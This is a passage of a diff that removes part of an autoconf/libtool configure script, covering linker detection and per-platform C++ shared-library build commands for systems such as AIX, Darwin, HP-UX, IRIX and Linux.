-ac_ext=cpp
-
-# Object file extension for compiled C++ test sources.
-objext=o
-objext_CXX=$objext
-
-# Code to be used in simple compile tests
-lt_simple_compile_test_code="int some_variable = 0;\n"
-
-# Code to be used in simple link tests
-lt_simple_link_test_code='int main(int, char *[]) { return(0); }\n'
-
-# ltmain only uses $CC for tagged configurations so make sure $CC is set.
-
-# If no C compiler was specified, use CC.
-LTCC=${LTCC-"$CC"}
-
-# If no C compiler flags were specified, use CFLAGS.
-LTCFLAGS=${LTCFLAGS-"$CFLAGS"}
-
-# Allow CC to be a program name with arguments.
-compiler=$CC
-
-
-# save warnings/boilerplate of simple test code
-ac_outfile=conftest.$ac_objext
-printf "$lt_simple_compile_test_code" >conftest.$ac_ext
-eval "$ac_compile" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_compiler_boilerplate=`cat conftest.err`
-$rm conftest*
-
-ac_outfile=conftest.$ac_objext
-printf "$lt_simple_link_test_code" >conftest.$ac_ext
-eval "$ac_link" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_linker_boilerplate=`cat conftest.err`
-$rm conftest*
-
-
-# Allow CC to be a program name with arguments.
-lt_save_CC=$CC
-lt_save_LD=$LD
-lt_save_GCC=$GCC
-GCC=$GXX
-lt_save_with_gnu_ld=$with_gnu_ld
-lt_save_path_LD=$lt_cv_path_LD
-if test -n "${lt_cv_prog_gnu_ldcxx+set}"; then
- lt_cv_prog_gnu_ld=$lt_cv_prog_gnu_ldcxx
-else
- $as_unset lt_cv_prog_gnu_ld
-fi
-if test -n "${lt_cv_path_LDCXX+set}"; then
- lt_cv_path_LD=$lt_cv_path_LDCXX
-else
- $as_unset lt_cv_path_LD
-fi
-test -z "${LDCXX+set}" || LD=$LDCXX
-CC=${CXX-"c++"}
-compiler=$CC
-compiler_CXX=$CC
-for cc_temp in $compiler""; do
- case $cc_temp in
- compile | *[\\/]compile | ccache | *[\\/]ccache ) ;;
- distcc | *[\\/]distcc | purify | *[\\/]purify ) ;;
- \-*) ;;
- *) break;;
- esac
-done
-cc_basename=`$echo "X$cc_temp" | $Xsed -e 's%.*/%%' -e "s%^$host_alias-%%"`
-
-
-# We don't want -fno-exception wen compiling C++ code, so set the
-# no_builtin_flag separately
-if test "$GXX" = yes; then
- lt_prog_compiler_no_builtin_flag_CXX=' -fno-builtin'
-else
- lt_prog_compiler_no_builtin_flag_CXX=
-fi
-
-if test "$GXX" = yes; then
- # Set up default GNU C++ configuration
-
-
-@%:@ Check whether --with-gnu-ld was given.
-if test "${with_gnu_ld+set}" = set; then :
- withval=$with_gnu_ld; test "$withval" = no || with_gnu_ld=yes
-else
- with_gnu_ld=no
-fi
-
-ac_prog=ld
-if test "$GCC" = yes; then
- # Check if gcc -print-prog-name=ld gives a path.
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for ld used by $CC" >&5
-$as_echo_n "checking for ld used by $CC... " >&6; }
- case $host in
- *-*-mingw*)
- # gcc leaves a trailing carriage return which upsets mingw
- ac_prog=`($CC -print-prog-name=ld) 2>&5 | tr -d '\015'` ;;
- *)
- ac_prog=`($CC -print-prog-name=ld) 2>&5` ;;
- esac
- case $ac_prog in
- # Accept absolute paths.
- [\\/]* | ?:[\\/]*)
- re_direlt='/[^/][^/]*/\.\./'
- # Canonicalize the pathname of ld
- ac_prog=`echo $ac_prog| $SED 's%\\\\%/%g'`
- while echo $ac_prog | grep "$re_direlt" > /dev/null 2>&1; do
- ac_prog=`echo $ac_prog| $SED "s%$re_direlt%/%"`
- done
- test -z "$LD" && LD="$ac_prog"
- ;;
- "")
- # If it fails, then pretend we aren't using GCC.
- ac_prog=ld
- ;;
- *)
- # If it is relative, then search for the first ld in PATH.
- with_gnu_ld=unknown
- ;;
- esac
-elif test "$with_gnu_ld" = yes; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for GNU ld" >&5
-$as_echo_n "checking for GNU ld... " >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for non-GNU ld" >&5
-$as_echo_n "checking for non-GNU ld... " >&6; }
-fi
-if ${lt_cv_path_LD+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -z "$LD"; then
- lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
- for ac_dir in $PATH; do
- IFS="$lt_save_ifs"
- test -z "$ac_dir" && ac_dir=.
- if test -f "$ac_dir/$ac_prog" || test -f "$ac_dir/$ac_prog$ac_exeext"; then
- lt_cv_path_LD="$ac_dir/$ac_prog"
- # Check to see if the program is GNU ld. I'd rather use --version,
- # but apparently some variants of GNU ld only accept -v.
- # Break only if it was the GNU/non-GNU ld that we prefer.
- case `"$lt_cv_path_LD" -v 2>&1 </dev/null` in
- *GNU* | *'with BFD'*)
- test "$with_gnu_ld" != no && break
- ;;
- *)
- test "$with_gnu_ld" != yes && break
- ;;
- esac
- fi
- done
- IFS="$lt_save_ifs"
-else
- lt_cv_path_LD="$LD" # Let the user override the test with a path.
-fi
-fi
-
-LD="$lt_cv_path_LD"
-if test -n "$LD"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $LD" >&5
-$as_echo "$LD" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-test -z "$LD" && as_fn_error $? "no acceptable ld found in \$PATH" "$LINENO" 5
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if the linker ($LD) is GNU ld" >&5
-$as_echo_n "checking if the linker ($LD) is GNU ld... " >&6; }
-if ${lt_cv_prog_gnu_ld+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- # I'd rather use --version here, but apparently some GNU lds only accept -v.
-case `$LD -v 2>&1 </dev/null` in
-*GNU* | *'with BFD'*)
- lt_cv_prog_gnu_ld=yes
- ;;
-*)
- lt_cv_prog_gnu_ld=no
- ;;
-esac
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_gnu_ld" >&5
-$as_echo "$lt_cv_prog_gnu_ld" >&6; }
-with_gnu_ld=$lt_cv_prog_gnu_ld
-
-
-
- # Check if GNU C++ uses GNU ld as the underlying linker, since the
- # archiving commands below assume that GNU ld is being used.
- if test "$with_gnu_ld" = yes; then
- archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-
- hardcode_libdir_flag_spec_CXX='${wl}--rpath ${wl}$libdir'
- export_dynamic_flag_spec_CXX='${wl}--export-dynamic'
-
- # If archive_cmds runs LD, not CC, wlarc should be empty
- # XXX I think wlarc can be eliminated in ltcf-cxx, but I need to
- # investigate it a little bit more. (MM)
- wlarc='${wl}'
-
- # ancient GNU ld didn't support --whole-archive et. al.
- if eval "`$CC -print-prog-name=ld` --help 2>&1" | \
- grep 'no-whole-archive' > /dev/null; then
- whole_archive_flag_spec_CXX="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive'
- else
- whole_archive_flag_spec_CXX=
- fi
- else
- with_gnu_ld=no
- wlarc=
-
- # A generic and very simple default shared library creation
- # command for GNU C++ for the case where it uses the native
- # linker, instead of GNU ld. If possible, this setting should
- # overridden to take advantage of the native linker features on
- # the platform it is being used on.
- archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $lib'
- fi
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "\-L"'
-
-else
- GXX=no
- with_gnu_ld=no
- wlarc=
-fi
-
-# PORTME: fill in a description of your system's C++ link characteristics
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $compiler linker ($LD) supports shared libraries" >&5
-$as_echo_n "checking whether the $compiler linker ($LD) supports shared libraries... " >&6; }
-ld_shlibs_CXX=yes
-case $host_os in
- aix3*)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- aix4* | aix5*)
- if test "$host_cpu" = ia64; then
- # On IA64, the linker does run time linking by default, so we don't
- # have to do anything special.
- aix_use_runtimelinking=no
- exp_sym_flag='-Bexport'
- no_entry_flag=""
- else
- aix_use_runtimelinking=no
-
- # Test if we are trying to use run time linking or normal
- # AIX style linking. If -brtl is somewhere in LDFLAGS, we
- # need to do runtime linking.
- case $host_os in aix4.[23]|aix4.[23].*|aix5*)
- for ld_flag in $LDFLAGS; do
- case $ld_flag in
- *-brtl*)
- aix_use_runtimelinking=yes
- break
- ;;
- esac
- done
- ;;
- esac
-
- exp_sym_flag='-bexport'
- no_entry_flag='-bnoentry'
- fi
-
- # When large executables or shared objects are built, AIX ld can
- # have problems creating the table of contents. If linking a library
- # or program results in "error TOC overflow" add -mminimal-toc to
- # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not
- # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS.
-
- archive_cmds_CXX=''
- hardcode_direct_CXX=yes
- hardcode_libdir_separator_CXX=':'
- link_all_deplibs_CXX=yes
-
- if test "$GXX" = yes; then
- case $host_os in aix4.[012]|aix4.[012].*)
- # We only want to do this on AIX 4.2 and lower, the check
- # below for broken collect2 doesn't work under 4.3+
- collect2name=`${CC} -print-prog-name=collect2`
- if test -f "$collect2name" && \
- strings "$collect2name" | grep resolve_lib_name >/dev/null
- then
- # We have reworked collect2
- hardcode_direct_CXX=yes
- else
- # We have old collect2
- hardcode_direct_CXX=unsupported
- # It fails to find uninstalled libraries when the uninstalled
- # path is not listed in the libpath. Setting hardcode_minus_L
- # to unsupported forces relinking
- hardcode_minus_L_CXX=yes
- hardcode_libdir_flag_spec_CXX='-L$libdir'
- hardcode_libdir_separator_CXX=
- fi
- ;;
- esac
- shared_flag='-shared'
- if test "$aix_use_runtimelinking" = yes; then
- shared_flag="$shared_flag "'${wl}-G'
- fi
- else
- # not using gcc
- if test "$host_cpu" = ia64; then
- # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release
- # chokes on -Wl,-G. The following line is correct:
- shared_flag='-G'
- else
- if test "$aix_use_runtimelinking" = yes; then
- shared_flag='${wl}-G'
- else
- shared_flag='${wl}-bM:SRE'
- fi
- fi
- fi
-
- # It seems that -bexpall does not export symbols beginning with
- # underscore (_), so it is better to generate a list of symbols to export.
- always_export_symbols_CXX=yes
- if test "$aix_use_runtimelinking" = yes; then
- # Warning - without using the other runtime loading flags (-brtl),
- # -berok will link without error, but may produce a broken library.
- allow_undefined_flag_CXX='-berok'
- # Determine the default libpath from the value encoded in an empty executable.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_cxx_try_link "$LINENO"; then :
-
-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`
-# Check for a 64-bit object if we didn't find anything.
-if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`; fi
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hardcode_libdir_flag_spec_CXX='${wl}-blibpath:$libdir:'"$aix_libpath"
-
- archive_expsym_cmds_CXX="\$CC"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
- else
- if test "$host_cpu" = ia64; then
- hardcode_libdir_flag_spec_CXX='${wl}-R $libdir:/usr/lib:/lib'
- allow_undefined_flag_CXX="-z nodefs"
- archive_expsym_cmds_CXX="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$exp_sym_flag:\$export_symbols"
- else
- # Determine the default libpath from the value encoded in an empty executable.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_cxx_try_link "$LINENO"; then :
-
-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`
-# Check for a 64-bit object if we didn't find anything.
-if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`; fi
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hardcode_libdir_flag_spec_CXX='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
- # -berok will link without error, but may produce a broken library.
- no_undefined_flag_CXX=' ${wl}-bernotok'
- allow_undefined_flag_CXX=' ${wl}-berok'
- # Exported symbols can be pulled into shared objects from archives
- whole_archive_flag_spec_CXX='$convenience'
- archive_cmds_need_lc_CXX=yes
- # This is similar to how AIX traditionally builds its shared libraries.
- archive_expsym_cmds_CXX="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs ${wl}-bnoentry $compiler_flags ${wl}-bE:$export_symbols${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname'
- fi
- fi
- ;;
-
- beos*)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- allow_undefined_flag_CXX=unsupported
- # Joseph Beckenbach <jrb3@best.com> says some releases of gcc
- # support --undefined. This deserves some investigation. FIXME
- archive_cmds_CXX='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- else
- ld_shlibs_CXX=no
- fi
- ;;
-
- chorus*)
- case $cc_basename in
- *)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- esac
- ;;
-
- cygwin* | mingw* | pw32*)
- # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, CXX) is actually meaningless,
- # as there is no search path for DLLs.
- hardcode_libdir_flag_spec_CXX='-L$libdir'
- allow_undefined_flag_CXX=unsupported
- always_export_symbols_CXX=no
- enable_shared_with_static_runtimes_CXX=yes
-
- if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then
- archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- # If the export-symbols file already is a .def file (1st line
- # is EXPORTS), use it as is; otherwise, prepend...
- archive_expsym_cmds_CXX='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
- cp $export_symbols $output_objdir/$soname.def;
- else
- echo EXPORTS > $output_objdir/$soname.def;
- cat $export_symbols >> $output_objdir/$soname.def;
- fi~
- $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- else
- ld_shlibs_CXX=no
- fi
- ;;
- darwin* | rhapsody*)
- case $host_os in
- rhapsody* | darwin1.[012])
- allow_undefined_flag_CXX='${wl}-undefined ${wl}suppress'
- ;;
- *) # Darwin 1.3 on
- if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then
- allow_undefined_flag_CXX='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- else
- case ${MACOSX_DEPLOYMENT_TARGET} in
- 10.[012])
- allow_undefined_flag_CXX='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- ;;
- 10.*)
- allow_undefined_flag_CXX='${wl}-undefined ${wl}dynamic_lookup'
- ;;
- esac
- fi
- ;;
- esac
- archive_cmds_need_lc_CXX=no
- hardcode_direct_CXX=no
- hardcode_automatic_CXX=yes
- hardcode_shlibpath_var_CXX=unsupported
- whole_archive_flag_spec_CXX=''
- link_all_deplibs_CXX=yes
-
- if test "$GXX" = yes ; then
- lt_int_apple_cc_single_mod=no
- output_verbose_link_cmd='echo'
- if $CC -dumpspecs 2>&1 | $EGREP 'single_module' >/dev/null ; then
- lt_int_apple_cc_single_mod=yes
- fi
- if test "X$lt_int_apple_cc_single_mod" = Xyes ; then
- archive_cmds_CXX='$CC -dynamiclib -single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
- else
- archive_cmds_CXX='$CC -r -keep_private_externs -nostdlib -o ${lib}-master.o $libobjs~$CC -dynamiclib $allow_undefined_flag -o $lib ${lib}-master.o $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
- fi
- module_cmds_CXX='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- if test "X$lt_int_apple_cc_single_mod" = Xyes ; then
- archive_expsym_cmds_CXX='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib -single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- else
- archive_expsym_cmds_CXX='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -r -keep_private_externs -nostdlib -o ${lib}-master.o $libobjs~$CC -dynamiclib $allow_undefined_flag -o $lib ${lib}-master.o $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- fi
- module_expsym_cmds_CXX='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- else
- case $cc_basename in
- xlc*)
- output_verbose_link_cmd='echo'
- archive_cmds_CXX='$CC -qmkshrobj ${wl}-single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`echo $rpath/$soname` $verstring'
- module_cmds_CXX='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- archive_expsym_cmds_CXX='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj ${wl}-single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- module_expsym_cmds_CXX='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- ;;
- *)
- ld_shlibs_CXX=no
- ;;
- esac
- fi
- ;;
-
- dgux*)
- case $cc_basename in
- ec++*)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- ghcx*)
- # Green Hills C++ Compiler
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- *)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- esac
- ;;
- freebsd[12]*)
- # C++ shared libraries reported to be fairly broken before switch to ELF
- ld_shlibs_CXX=no
- ;;
- freebsd-elf*)
- archive_cmds_need_lc_CXX=no
- ;;
- freebsd* | kfreebsd*-gnu | dragonfly*)
- # FreeBSD 3 and later use GNU C++ and GNU ld with standard ELF
- # conventions
- ld_shlibs_CXX=yes
- ;;
- gnu*)
- ;;
- hpux9*)
- hardcode_libdir_flag_spec_CXX='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator_CXX=:
- export_dynamic_flag_spec_CXX='${wl}-E'
- hardcode_direct_CXX=yes
- hardcode_minus_L_CXX=yes # Not in the search PATH,
- # but as the default
- # location of the library.
-
- case $cc_basename in
- CC*)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- aCC*)
- archive_cmds_CXX='$rm $output_objdir/$soname~$CC -b ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`($CC -b $CFLAGS -v conftest.$objext 2>&1) | grep "[-]L"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
- ;;
- *)
- if test "$GXX" = yes; then
- archive_cmds_CXX='$rm $output_objdir/$soname~$CC -shared -nostdlib -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- fi
- ;;
- esac
- ;;
- hpux10*|hpux11*)
- if test $with_gnu_ld = no; then
- hardcode_libdir_flag_spec_CXX='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator_CXX=:
-
- case $host_cpu in
- hppa*64*|ia64*)
- hardcode_libdir_flag_spec_ld_CXX='+b $libdir'
- ;;
- *)
- export_dynamic_flag_spec_CXX='${wl}-E'
- ;;
- esac
- fi
- case $host_cpu in
- hppa*64*|ia64*)
- hardcode_direct_CXX=no
- hardcode_shlibpath_var_CXX=no
- ;;
- *)
- hardcode_direct_CXX=yes
- hardcode_minus_L_CXX=yes # Not in the search PATH,
- # but as the default
- # location of the library.
- ;;
- esac
-
- case $cc_basename in
- CC*)
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- ;;
- aCC*)
- case $host_cpu in
- hppa*64*)
- archive_cmds_CXX='$CC -b ${wl}+h ${wl}$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- ia64*)
- archive_cmds_CXX='$CC -b ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- *)
- archive_cmds_CXX='$CC -b ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- esac
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`($CC -b $CFLAGS -v conftest.$objext 2>&1) | grep "\-L"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
- ;;
- *)
- if test "$GXX" = yes; then
- if test $with_gnu_ld = no; then
- case $host_cpu in
- hppa*64*)
- archive_cmds_CXX='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- ia64*)
- archive_cmds_CXX='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- *)
- archive_cmds_CXX='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- esac
- fi
- else
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
- fi
- ;;
- esac
- ;;
- interix3*)
- hardcode_direct_CXX=no
- hardcode_shlibpath_var_CXX=no
- hardcode_libdir_flag_spec_CXX='${wl}-rpath,$libdir'
- export_dynamic_flag_spec_CXX='${wl}-E'
- # Hack: On Interix 3.x, we cannot compile PIC because of a broken gcc.
- # Instead, shared libraries are loaded at an image base (0x10000000 by
- # default) and relocated if they conflict, which is a slow very memory
- # consuming and fragmenting process. To avoid this, we pick a random,
- # 256 KiB-aligned image base between 0x50000000 and 0x6FFC0000 at link
- # time. Moving up from 0x10000000 also allows more sbrk(2) space.
- archive_cmds_CXX='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- archive_expsym_cmds_CXX='sed "s,^,_," $export_symbols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--retain-symbols-file,$output_objdir/$soname.expsym ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- ;;
- irix5* | irix6*)
- case $cc_basename in
- CC*)
- # SGI C++
- archive_cmds_CXX='$CC -shared -all -multigot $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
-
- # Archives containing C++ object files must be created using
- # "CC -ar", where "CC" is the IRIX C++ compiler. This is
- # necessary to make sure instantiated templates are included
- # in the archive.
- old_archive_cmds_CXX='$CC -ar -WR,-u -o $oldlib $oldobjs'
- ;;
- *)
- if test "$GXX" = yes; then
- if test "$with_gnu_ld" = no; then
- archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
- archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` -o $lib'
- fi
- fi
- link_all_deplibs_CXX=yes
- ;;
- esac
- hardcode_libdir_flag_spec_CXX='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_CXX=:
- ;;
- linux*)
- case $cc_basename in
- KCC*)
- # Kuck and Associates, Inc. (KAI) C++ Compiler
-
- # KCC will only create a shared library if the output file
- # ends with ".so" (or ".sl" for HP-UX), so rename the library
- # to its proper name (with version) after linking.
- archive_cmds_CXX='tempext=`echo $shared_ext | $SED -e '\''s/\([^()0-9A-Za-z{}]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib'
- archive_expsym_cmds_CXX='tempext=`echo $shared_ext | $SED -e '\''s/\([^()0-9A-Za-z{}]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib ${wl}-retain-symbols-file,$export_symbols; mv \$templib $lib'
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
- # linking a shared library.
- #
- # There doesn't appear to be a way to prevent this compiler from
- # explicitly linking system object files so we need to strip them
- # from the output so that they don't get included in the library
- # dependencies.
- output_verbose_link_cmd='templist=`$CC $CFLAGS -v conftest.$objext -o libconftest$shared_ext 2>&1 | grep "ld"`; rm -f libconftest$shared_ext; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
-
- hardcode_libdir_flag_spec_CXX='${wl}--rpath,$libdir'
- export_dynamic_flag_spec_CXX='${wl}--export-dynamic'
-
- # Archives containing C++ object files must be created using
- # "CC -Bstatic", where "CC" is the KAI C++ compiler.
- old_archive_cmds_CXX='$CC -Bstatic -o $oldlib $oldobjs'
- ;;
- icpc*)
- # Intel C++
- with_gnu_ld=yes
- # version 8.0 and above of icpc choke on multiply defined symbols
- # if we add $predep_objects and $postdep_objects, however 7.1 and
- # earlier do not add the objects themselves.
- case `$CC -V 2>&1` in
- *"Version 7."*)
- archive_cmds_CXX='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_CXX='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- ;;
- *) # Version 8.0 or newer
- tmp_idyn=
- case $host_cpu in
- ia64*) tmp_idyn=' -i_dynamic';;
- esac
